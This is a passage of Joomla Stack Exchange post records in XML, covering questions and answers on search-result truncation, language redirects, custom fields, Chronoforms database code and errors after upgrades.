LastEditDate="2017-07-07T22:05:00.490" LastActivityDate="2017-07-07T22:05:00.490" Title="Joomla Search Result Article Text Length: Text is truncated in strange places" Tags="|joomla-api|overrides|language|search|com-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21123" PostTypeId="2" ParentId="21122" CreationDate="2017-07-07T21:47:59.813" Score="1" Body="&lt;p&gt;That's a valid question in terms of questioning where the string is split and how someone could adjust the length of the article text in the search results.  The solution is fairly simple at the end.&lt;/p&gt;&#xA;&lt;h1&gt;How things work:&lt;/h1&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The overall concept of the search regarding the article's text, is to return a cleaned part of the string, around the search term, which is highlighted inside the rest of the string. This is how it is designed.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;There is a default limit set for this, that is 200 characters.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;This is why, sometimes you see the text starting with '...', as it means to denote that this isn't the start of the text of the article returned in the search results.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h1&gt;How the article's text ending up split:&lt;/h1&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;You are correct. The article's text is coming full from the query to the database that is called by the content search plugin. It reaches like this up to the &lt;code&gt;com_search&lt;/code&gt; search view, &lt;code&gt;view.html.php&lt;/code&gt; file.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;However, just before it takes its route to the &lt;code&gt;default_results.php&lt;/code&gt; template for printing out to the screen, it passes through some special processing.&lt;/p&gt;&#xA;&lt;p&gt;~line #273 on &lt;code&gt;view.html.php&lt;/code&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; $result-&amp;gt;text    = JHtml::_('content.prepare', $result-&amp;gt;text, '', 'com_search.search');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;br&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;h3&gt;What this line does:&lt;/h3&gt;&#xA;&lt;p&gt;It envokes the &lt;code&gt;com_search&lt;/code&gt;'s &lt;code&gt;SearchHelper&lt;/code&gt; class (&lt;code&gt;administrator/components/com_search/helpers/search.php&lt;/code&gt;) and the text is going through a number of functions, that manipulate it, starting with the &lt;code&gt;prepareSearchContent()&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Things, however become more interesting as in the way there is a call to another &lt;code&gt;SearchHelper&lt;/code&gt;'s method - &lt;code&gt;_smartSubstr()&lt;/code&gt;, - this is the one that splits the string - which calculates what the final length of the text should be using a &lt;code&gt;JLanguage&lt;/code&gt; method. The method is called: &lt;code&gt;getSearchDisplayedCharactersNumber&lt;/code&gt; and according to its &lt;a href=&quot;https://api.joomla.org/cms-3/classes/JLanguage.html#method_getSearchDisplayedCharactersNumber&quot; rel=&quot;nofollow noreferrer&quot;&gt;API documentation&lt;/a&gt; it should return the number of characters displayed in search results - INTEGER - The number of characters displayed (200 if no value was set for a specific language).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h1&gt;Where you can set the SearchDisplayedCharactersNumber:&lt;/h1&gt;&#xA;&lt;p&gt;All you need to do is to create an override in &lt;code&gt;languages/overrides&lt;/code&gt; of the &lt;code&gt;xx-XX.localise.php&lt;/code&gt; for each of the languages you want to adjust this number. The xx-XX.localise.php can be found inside the relative &lt;code&gt;xx-XX&lt;/code&gt; language folder.&lt;/p&gt;&#xA;&lt;p&gt;There you can find the &lt;code&gt;getSearchDisplayedCharactersNumber()&lt;/code&gt; method.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public static function getSearchDisplayedCharactersNumber()&#xA;{&#xA;    return 200;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Adjust it to suit your needs.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h1&gt;Documentation&lt;/h1&gt;&#xA;&lt;p&gt;The following resource might be helpful:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/J2.5:Making_a_Language_Pack_for_Joomla#the_fr-FR.localise.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J2.5:Making_a_Language_Pack_for_Joomla#the_fr-FR.localise.php&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2017-07-07T21:47:59.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21124" PostTypeId="1" CreationDate="2017-07-07T23:48:40.497" Score="1" ViewCount="234" Body="&lt;p&gt;This may have been discussed but I can't find a fix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get the following error when Saving an existing article.&#xA;0 DateTime::__construct(): Failed to parse time string (-1-11-30 03:00:00) at position 5 (-): Double timezone specification &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My article creation dates are wrong.&#xA;Created date Monday, 30 November -0001 03:00&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This happened after my upgrade to 3.7.3&#xA;I am not so much of a code guy but more of a content writer. I would prefer a solution that will not be affected by the next Joomla update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for the help guys.&lt;/p&gt;&#xA;" OwnerUserId="11287" LastActivityDate="2017-08-19T05:12:40.737" Title="Wrong Creation time for article and error on edit of existing article" Tags="|joomla-3.x|k2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21125" PostTypeId="2" ParentId="7471" CreationDate="2017-07-08T03:24:28.050" Score="0" Body="&lt;p&gt;As Lodder said but it was &lt;strong&gt;Menu Class Suffix&lt;/strong&gt; not &lt;strong&gt;Module Class Suffix&lt;/strong&gt; field that fixed it for me.&lt;/p&gt;&#xA;" OwnerUserId="11290" LastEditorUserId="1520" LastEditDate="2017-07-08T09:39:07.600" LastActivityDate="2017-07-08T09:39:07.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21126" PostTypeId="1" CreationDate="2017-07-08T13:09:28.987" Score="2" ViewCount="574" Body="&lt;p&gt;I´ve added a custom users field (called &quot;test&quot;). Now I want to call the value of this custom field for the current user who is logged in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the mysql databse I see the custom field under _fields. So how can I call this specific field?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally I get the current user object like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$user=JFactory::getUser(); &#xA;$userId=$user-&amp;gt;get('name');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11292" LastActivityDate="2017-07-27T13:34:04.520" Title="Accessing current users custom field" Tags="|mysql|custom-field|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21127" PostTypeId="1" CreationDate="2017-07-08T18:44:00.980" Score="1" ViewCount="563" Body="&lt;p&gt;My client's site &lt;a href=&quot;http://antoniniandcohen.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://antoniniandcohen.com&lt;/a&gt; is automatically redirecting to /es/ rather than /en/ on the homepage, despite the fact that the site default language is English.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I'm not an expert in Joomla or Multilang, so here are some details:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla! 3.2.7 Stable [ Ember ] 30-September-2014 14:00 GMT&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at the Language Manager Extension, I have 2 languages installed: English (default) and Spanish.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Plugin System - Language Filter options are as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Language Selection for new Visitors: Site Language&#xA;Automatic Language Change: Yes&#xA;Item associations: Yes&#xA;Remove URL Language Code: No&#xA;Cookie Lifetime: Session&#xA;Add alternate meta tags: Yes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just to be sure, I checked the database and row named com_languages in the _extensions table has the following as params: {&quot;administrator&quot;:&quot;en-GB&quot;,&quot;site&quot;:&quot;en-GB&quot;}, so that seems to be good. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Here are some additional details and curiosities that I've been able to scrape together:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I put in an .htaccess rule to try to override this, and it is not working&#xA;    RedirectMatch 302 ^/$ /en&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you run the site with caches disabled, the error does NOT occur&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recently made an exact local copy of the site, and the error does NOT occur&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you visit the site and check the network log, there is a 303 redirect triggered for the /es/ site (details from redirect-checker.org):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt; --------------------------------------------&#xA;&amp;gt; 303 See other&#xA;&amp;gt; --------------------------------------------&#xA;&#xA;Status: 303 See other&#xA;Code:   303&#xA;Server: nginx/1.12.0&#xA;Date:   Sat, 08 Jul 2017 18:32:57 GMT&#xA;Content-Type:   text/html; charset=utf-8&#xA;Content-Length: 0&#xA;Connection: close&#xA;Location:   http://antoniniandcohen.com/es/&#xA;Cache-Control:  max-age=7200&#xA;Expires:    Sat, 08 Jul 2017 15:06:17 GMT&#xA;X-Endurance-Cache-Level:    2&#xA;X-Acc-Exp:  43200&#xA;X-Proxy-Cache:  HIT antoniniandcohen.com  &#xA;&#xA;&amp;gt;&amp;gt;&amp;gt; http://antoniniandcohen.com/es/&#xA;&#xA;&amp;gt; --------------------------------------------&#xA;&amp;gt; 200 OK&#xA;&amp;gt; -------------------------------------------- &#xA;&#xA;Status: 200 OK&#xA;Code:   200&#xA;Server: nginx/1.12.0&#xA;Date:   Sat, 08 Jul 2017 18:32:58 GMT&#xA;Content-Type:   text/html; charset=utf-8&#xA;Connection: close&#xA;P3P:    CP=&quot;NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM&quot;&#xA;Expires:    Mon, 1 Jan 2001 00:00:00 GMT&#xA;Cache-Control:  no-store, no-cache, must-revalidate, post-check=0, pre-check=0&#xA;Pragma: no-cache&#xA;Set-Cookie: a5246ba9a44f358f1e9603d2d3209341=es-ES&#xA;Last-Modified:  Sat, 08 Jul 2017 18:32:58 GMT&#xA;X-Endurance-Cache-Level:    2&#xA;X-Acc-Exp:  43200&#xA;X-Proxy-Cache:  EXPIRED antoniniandcohen.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any idea what this could possibly be? Any help is appreciated because this is a bit over my head!&lt;/p&gt;&#xA;" OwnerUserId="11293" LastEditorUserId="11293" LastEditDate="2017-07-08T19:04:57.303" LastActivityDate="2017-09-07T11:17:16.350" Title="Homepage is redirecting to Spanish even though site default language is English (303 redirect incorrect)" Tags="|joomla-3.x|language|content-filtering|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21128" PostTypeId="1" CreationDate="2017-07-08T19:08:52.290" Score="3" ViewCount="77" Body="&lt;p&gt;&lt;strong&gt;Background:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thirteen months prior to this question, I voluntarily updated &lt;a href=&quot;http://evangelismmission.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://evangelismmission.com&lt;/a&gt; to its present state and design. Since that point, I have been maintaining it for Evangelism Mission.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whenever I am emailed design changes or content changes, I make and test them on my machine, commit them with Git, FTP them onto the server, and check that everything took properly. In an endeavor to reduce the time and effort needed to update things, to make it easier for me to pass on the responsibilities to someone else, and to simplify website updates so that coding ability is no longer a prerequisite to updating the website, I would like to move this site to Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;What is the correct way to move websites with complicated elements to Joomla?&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In truth, these elements are not fancy, but they are too complicated to efficiently recreate in the article builder. Some need JavaScript -- all need CSS so that they look and behave properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/5ot3I.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5ot3I.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having researched and activated my brain, I believe I need to make a component(?) and insert it into the page where necessary... I theorize that the correct way to migrate a custom website to Joomla involves these steps:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create template.&lt;/li&gt;&#xA;&lt;li&gt;Create styles for template.&lt;/li&gt;&#xA;&lt;li&gt;Make components...&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Is this right? Am I missing something?&lt;/p&gt;&#xA;" OwnerUserId="9358" LastActivityDate="2018-04-29T04:06:34.607" Title="Proper Way to Migrate Custom Website to Joomla" Tags="|joomla-3.x|templates|custom-component|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21129" PostTypeId="2" ParentId="21127" CreationDate="2017-07-08T19:23:19.287" Score="2" Body="&lt;p&gt;My client's host, Bluehost, has something called Endurance Cache enabled by default on all their sites. I'm not sure why an incorrect response got cached, but turning this caching mechanism off in their control panel fixed the issue. &lt;/p&gt;&#xA;" OwnerUserId="11293" LastActivityDate="2017-07-08T19:23:19.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21131" PostTypeId="2" ParentId="16057" CreationDate="2017-07-09T17:09:07.983" Score="1" Body="&lt;p&gt;After checking the source code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plugin sends email to email address put as comma separated in the plugin config else if empty to all super user&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Condition-1: If email field is not emtpy in plugin config: In such case plugin checks if those emails belong to super users and if those users has &quot;Receive System Emails&quot; in user as 'Yes'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Condition-2: if email field is empty in plugin config then plugin checks users of all groups that has super user privilege and checks if those user has &quot;Receive System Emails&quot; option enabled as 'Yes' in their profile&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, without disabling the plugin, the only way is disable system email for all super user &lt;/p&gt;&#xA;" OwnerUserId="351" LastActivityDate="2017-07-09T17:09:07.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21133" PostTypeId="1" CreationDate="2017-07-09T20:49:31.297" Score="-1" ViewCount="164" Body="&lt;p&gt;Good Day,&#xA;I could use some help and advice on getting Calibre to run within Joomla,&#xA;Or, a solution that would offer me something equal to Calibre.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CBiscuit&lt;/p&gt;&#xA;" OwnerUserId="11297" LastActivityDate="2017-08-10T12:01:03.950" Title="Joomla and Calibre" Tags="|joomla-3.7|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21134" PostTypeId="2" ParentId="21128" CreationDate="2017-07-09T23:17:34.543" Score="3" Body="&lt;p&gt;You can certainly add CSS or JavaScript by creating a plugin or module but the quickest and easiest way to do this is probably using a third party extension such as the &lt;a href=&quot;https://extensions.joomla.org/extensions/extension/core-enhancements/coding-a-scripts-integration/easyscript&quot; rel=&quot;nofollow noreferrer&quot;&gt;EasyScript&lt;/a&gt; plugin or the &lt;a href=&quot;https://extensions.joomla.org/extensions/extension/core-enhancements/coding-a-scripts-integration/flexi-custom-code&quot; rel=&quot;nofollow noreferrer&quot;&gt;Flexi Custom Code&lt;/a&gt; module or similar. The advantage of using the module is that code can be assigned to specific pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is often an option to add custom CSS in the template, depending on which template you are using. See &lt;a href=&quot;https://joomla.stackexchange.com/a/3878/120&quot;&gt;https://joomla.stackexchange.com/a/3878/120&lt;/a&gt; for details.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2018-04-29T04:06:34.607" LastActivityDate="2018-04-29T04:06:34.607" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21135" PostTypeId="2" ParentId="21133" CreationDate="2017-07-10T08:15:28.073" Score="1" Body="&lt;p&gt;If you are referring to Calibre, the open source e-book management  software, then the closest Joomla extension is probably &lt;a href=&quot;https://extensions.joomla.org/extensions/extension/living/education-a-culture/booklibrary-basic&quot; rel=&quot;nofollow noreferrer&quot;&gt;OS Book Library&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, then you'll probably need to be more specific.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2017-07-10T08:15:28.073" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21136" PostTypeId="1" CreationDate="2017-07-10T09:35:25.793" Score="1" ViewCount="223" Body="&lt;p&gt;i like to remove the structure data from my content. How can I do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;itemprop=&quot;headline&quot;&#xA;itemprop=&quot;articleBody&quot;&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/7MKtF.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7MKtF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11299" LastActivityDate="2017-07-19T13:04:05.307" Title="How can I remove Structure Data from my content" Tags="|seo|com-content|microdata|" AnswerCount="1" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21137" PostTypeId="1" CreationDate="2017-07-10T11:55:27.310" Score="1" ViewCount="853" Body="&lt;p&gt;I am getting one category id in code but it can be the id of either category or subcategory. And by the following code i am able to fetch the parent category chain. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$Jcategories = JCategories::getInstance('Content');&#xA;$cat = $Jcategories-&amp;gt;get($category-&amp;gt;id);&#xA;print_r($cat-&amp;gt;getParent()); //gives me all the parent details including the main category but it is under [_parent:protected] =&amp;gt; JCategoryNode Object( ) so not able to access this.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Otherwise, I will have to write multiple queries to find parent of parent id.&#xA;Now, I want to know the main parent id of this category. Example the chain is -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SHOES&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Sports&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Running&lt;/li&gt;&#xA;&lt;li&gt;basketball &lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Casual&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Sneakers&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;here, if the &lt;code&gt;$category-&amp;gt;id&lt;/code&gt; is of &lt;code&gt;running(subcategory)&lt;/code&gt; then I want it's main category i.e. SHOES . If the &lt;code&gt;$category-&amp;gt;id&lt;/code&gt; is of &lt;code&gt;Casual(category)&lt;/code&gt; then also, I should get the main category SHOES.&lt;/p&gt;&#xA;" OwnerUserId="7632" LastEditorUserId="7632" LastEditDate="2017-07-10T12:48:19.027" LastActivityDate="2017-07-10T12:48:19.027" Title="How to get main parent category id from category/subcategory" Tags="|joomla-3.x|category|subcategories|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21138" PostTypeId="2" ParentId="21076" CreationDate="2017-07-10T14:26:35.597" Score="0" Body="&lt;p&gt;I've read some of the Chronoforms 5 documentation. After that I was able to write some custom code in the &quot;Custom Code&quot; element added at the end of a normal Chronoforms form with submit button. The following code will be executed after a successful submit. It reads a &quot;POST&quot; parameter, loads a field from the database and update it after making some changes. Suggestions and improvements are still desired.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    // Get a db connection.&#xA;    $db = JFactory::getDbo();&#xA;&#xA;    // Create a new query object.&#xA;    $query = $db-&amp;gt;getQuery(true);&#xA;&#xA;    // Get event ID from form post&#xA;    $eventID = $form-&amp;gt;data['eventID'];&#xA;    $numberOfTickets = $form-&amp;gt;data['numberOfTickets'];&#xA;&#xA;    //#### GET FIELD FROM DB ####//&#xA;&#xA;    // Conditions for which records should be updated and selected.&#xA;    $conditions = array(&#xA;        $db-&amp;gt;quoteName('search') .'='. $db-&amp;gt;quote('event-id'.$eventID)&#xA;    );&#xA;&#xA;    $query-&amp;gt;select($db-&amp;gt;quoteName('replace'))-&amp;gt;from($db-&amp;gt;quoteName('#__rereplacer'))-&amp;gt;where($conditions);&#xA;&#xA;    $db-&amp;gt;setQuery($query);&#xA;    $availableTickets = $db-&amp;gt;loadResult();&#xA;&#xA;    //#### UPDATE FIELD FROM DB ####//&#xA;&#xA;    // Fields to update .&#xA;    $availableTickets = (int)$availableTickets - (int)$numberOfTickets;&#xA;    if ($availableTickets &amp;lt; 0) {&#xA;        $availableTickets = 0;&#xA;    }&#xA;&#xA;    $fields = array(&#xA;        $db-&amp;gt;quoteName('replace') . ' = '. $db-&amp;gt;quote($availableTickets)&#xA;    );&#xA;&#xA;    $query-&amp;gt;update($db-&amp;gt;quoteName('#__rereplacer'))-&amp;gt;set($fields)-&amp;gt;where($conditions);&#xA;&#xA;    $db-&amp;gt;setQuery($query);&#xA;    $result = $db-&amp;gt;execute();&#xA;&#xA; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11248" LastEditorUserId="11248" LastEditDate="2017-07-11T07:01:06.337" LastActivityDate="2017-07-11T07:01:06.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21139" PostTypeId="1" CreationDate="2017-07-10T14:31:43.873" Score="0" ViewCount="81" Body="&lt;p&gt;I have a cctv camera shop and&#xA;I'm using the last version of joomla and virtuemart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a &quot;bullet hd camera&quot; the categories are:  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;camera --&gt; hd-camera --&gt; bullet-hd-camera&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;bullet-hd-camera is a subcategory for hd-camera and hd-camera is a sub-category for camera&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assigned the product to all the 3 categories so when a user clicks on hd-camera in the menu, the user could see all the cameras in hd-camera's subcategories including bullet cameras.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is the product has 3 different urls. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;sitename.com/camera/the-pruduct-detail&lt;/li&gt;&#xA;&lt;li&gt;sitename.com/camera/hd-camera/the-pruduct-detail&lt;/li&gt;&#xA;&lt;li&gt;sitename.com/camera/hd-camera/bullet-hd-camera/the-pruduct-detail&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;and thats totally bad seo-wise&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I have only the third url for the product?&lt;br&gt;&#xA;How can I solve this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another problem is recently only the third product page displays correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ERRORS IN CONSOLE:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.&#xA;Uncaught ReferenceError: jQuery is not defined&#xA;    at دوربين-مداربسته-هايک-ويژن-مدل-ds-2ce16d0t-it1-detail:10&#xA;دوربين-مداربسته-هايک-ويژن-مدل-ds-2ce16d0t-it1-detail:14 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;2.&#xA;Uncaught ReferenceError: jQuery is not defined&#xA;    at دوربين-مداربسته-هايک-ويژن-مدل-ds-2ce16d0t-it1-detail:14&#xA;دوربين-مداربسته-هايک-ويژن-مدل-ds-2ce16d0t-it1-detail:22 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;4.&#xA;Uncaught ReferenceError: jQuery is not defined&#xA;    at دوربين-مداربسته-هايک-ويژن-مدل-ds-2ce16d0t-it1-detail:22&#xA;cloud-zoom.1.0.3.js:418 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;5.&#xA;Uncaught ReferenceError: jQuery is not defined&#xA;    at cloud-zoom.1.0.3.js:418&#xA;jquery.flexslider-min.js:5 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;6.&#xA;Uncaught ReferenceError: jQuery is not defined&#xA;    at jquery.flexslider-min.js:5&#xA;دوربين-مداربسته-هايک-ويژن-مدل-ds-2ce16d0t-it1-detail:50 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;7.&#xA;Uncaught ReferenceError: jQuery is not defined&#xA;    at دوربين-مداربسته-هايک-ويژن-مدل-ds-2ce16d0t-it1-detail:50&#xA;%D8%AF%D9%88%D8%B1%D8%A8%D9%8A%D9%86-%D9%85%D8%AF%D8%A7%D8%B1%D8%A8%D8%B3%D…A%DA%A9-%D9%88%D9%8A%DA%98%D9%86-%D9%85%D8%AF%D9%84-ds-2ce16d0t-it1-detail &lt;/p&gt;&#xA;&#xA;&lt;p&gt;8.&#xA;Failed to load resource: the server responded with a status of 500 (Internal Server Error)&lt;/p&gt;&#xA;" OwnerUserId="8738" LastEditorUserId="126" LastEditDate="2017-07-17T10:33:32.987" LastActivityDate="2024-01-31T16:01:00.133" Title="Multple urls for a product with multiply categories" Tags="|joomla-3.x|virtuemart|seo|" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21140" PostTypeId="1" CreationDate="2017-07-10T19:01:48.350" Score="5" ViewCount="356" Body="&lt;p&gt;I am updating a clients site to 3.7.3 and following the update receive the following on both the front end and admin:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fatal error: Class 'JInput' not found in /home/wwwsitew/public_html/rmi/libraries/joomla/application/web.php on line 149&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This refers to &lt;code&gt;{&#xA;            $this-&amp;gt;input = new JInput;&#xA;        }&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the following function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function __construct(JInput $input = null, Registry $config = null, JApplicationWebClient $client = null)&#xA;    {&#xA;        // If an input object is given use it.&#xA;        if ($input instanceof JInput)&#xA;        {&#xA;            $this-&amp;gt;input = $input;&#xA;        }&#xA;        // Create the input based on the application logic.&#xA;        else&#xA;        {&#xA;            $this-&amp;gt;input = new JInput;&#xA;        }&#xA;&#xA;        // If a config object is given use it.&#xA;        if ($config instanceof Registry)&#xA;        {&#xA;            $this-&amp;gt;config = $config;&#xA;        }&#xA;        // Instantiate a new configuration object.&#xA;        else&#xA;        {&#xA;            $this-&amp;gt;config = new Registry;&#xA;        }&#xA;&#xA;        // If a client object is given use it.&#xA;        if ($client instanceof JApplicationWebClient)&#xA;        {&#xA;            $this-&amp;gt;client = $client;&#xA;        }&#xA;        // Instantiate a new web client object.&#xA;        else&#xA;        {&#xA;            $this-&amp;gt;client = new JApplicationWebClient;&#xA;        }&#xA;&#xA;        // Load the configuration object.&#xA;        $this-&amp;gt;loadConfiguration($this-&amp;gt;fetchConfigurationData());&#xA;&#xA;        // Set the execution datetime and timestamp;&#xA;        $this-&amp;gt;set('execution.datetime', gmdate('Y-m-d H:i:s'));&#xA;        $this-&amp;gt;set('execution.timestamp', time());&#xA;&#xA;        // Setup the response object.&#xA;        $this-&amp;gt;response = new stdClass;&#xA;        $this-&amp;gt;response-&amp;gt;cachable = false;&#xA;        $this-&amp;gt;response-&amp;gt;headers = array();&#xA;        $this-&amp;gt;response-&amp;gt;body = array();&#xA;&#xA;        // Set the system URIs.&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I cant seem to find anything related in Google, does anyone have any ideas as to what the problem could be?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Update: I have downloaded a full copy of 3.7.3 and uploaded both /libraries/joomla/application/web.php and libraries/joomla/input/input.php but I;m now getting a 404 error for both Front end and Admin pages....&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Update2: It seems the DB is running at 3.7.0, the following issues show when trying to 'fix' the DB, however they are not fixed after clicking the button:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Table 'uh46v_session' does not have column 'client_id' with type&#xA;  tinyint(3). (From file 3.7.0-2016-10-02.sql.) Table&#xA;  'uh46v_ucm_content' does not have column 'core_content_item_id' with&#xA;  type int(10). (From file 3.7.0-2017-01-08.sql.) Table&#xA;  'uh46v_ucm_content' does not have column 